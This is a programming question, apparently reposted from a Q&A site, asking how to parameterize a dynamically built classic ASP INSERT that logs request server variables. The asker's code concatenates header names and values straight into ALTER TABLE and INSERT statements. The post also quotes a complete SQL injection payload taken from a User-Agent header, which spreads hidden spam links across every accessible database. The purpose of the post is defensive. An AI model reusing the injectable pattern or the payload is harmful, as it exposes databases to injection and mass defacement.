vendredi 17 juin 2016

Dynamic SQLs While Still Using Parameters

Summary: Web app has a SQL statement that is dynamically generated because it can have a variable number of columns each time because the table can have new columns added.

Need to know how to do that using a stored procedure or prepared statement so that it is SQL injection safe.

Detail: I'm working with a specific web app which sole purpose is to log the request server variables collection to a table. 1 row per request, 1 column per server variable. Since count of server variables can change e.g. if request has a custom header, etc. To handle this, it checks columns, adds new one(s) if necessary:

    '1 - ensure table columns are adequete and add new cols if necessary
    Set oSchema = Server.CreateObject("Scripting.Dictionary")
    Set oRsCols = oConn.Execute("SELECT ORDINAL_POSITION, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'REQUESTS'")

    Do While Not oRsCols.EOF
        oSchema.Add oRsCols("COLUMN_NAME").value, oRsCols("ORDINAL_POSITION").value 'add dictionary row
        oRsCols.MoveNext
    Loop
    Set oRsCols = Nothing

    'grab this request's server vars collection, and if a new one is found, add a column to table for it
    For Each serverVariable In Request.ServerVariables
        If len(oSchema(servervariable)) = 0 Then 'a new variable in the collection
            oConn.execute("ALTER TABLE REQUESTS ADD " & serverVariable & " VARCHAR(8000) NULL")
        End If  
    Next

It then compiles the SQL statement dynamically e.g. INSERT INTO TABLE (...) VALUES (...) as follows:

    '2 - now that the table is good, compile the insert statement
    sColString = ""
    sValuesString = ""

    For Each serverVariable In Request.ServerVariables
        sCurrentVariable = serverVariable
        sCurrentVariableValue = request.ServerVariables(serverVariable)
        sColString = sColString & sCurrentVariable & ", "

        If checkNull(sCurrentVariableValue) Then
            sValuesString = sValuesString & "NULL, "
        Else
            sValuesString = sValuesString & "'" & sCurrentVariableValue & "'"  & ", "
        End If
    Next 

    'handle trailing commas
    sColString = replace(sColstring & "!@#", ", !@#", "") & ", DB_INSERT_DATE"
    sValuesString = replace(sValuesString & "!@#", ", !@#", "") & ", GETDATE()"

    oConn.execute("INSERT INTO REQUESTS (ASP_SESSION_ID, " & sColString & ") OUTPUT INSERTED.ID VALUES (" & nvl(Session.SessionID, "NULL") & ", " &  sValuesString & ")")

Columns and values are compiled on the fly in the web app (since the count of columns can vary each time, and column list can grow e.g. if a new custom server variable is encountered).

This is the only type of SQL I have not been able to figure out how to properly convert to a stored procedure or parameterized query (again, because columns and column counts are not known and vary e.g. since different requests can generate different server variables e.g. a custom server variable, the app adds a new column to the table if a new server variable is found. It then loops through each variable and compiles a sql statement.)

I am obvously worried about SQL injection, since this method is vulnerable. I often see HTTP_USER_AGENT values coming through like this (which didn't succeed here, but still...):

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0';declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">blah blah spam <a href="http://www.spam-example.com">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''some spam'''' when 1 then ''''read'''' else ''''some spam'''' end +''''</a> blah blah</div>'''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

How can I achieve this while having an injection-safe method of inserting the row?

Aucun commentaire:

Enregistrer un commentaire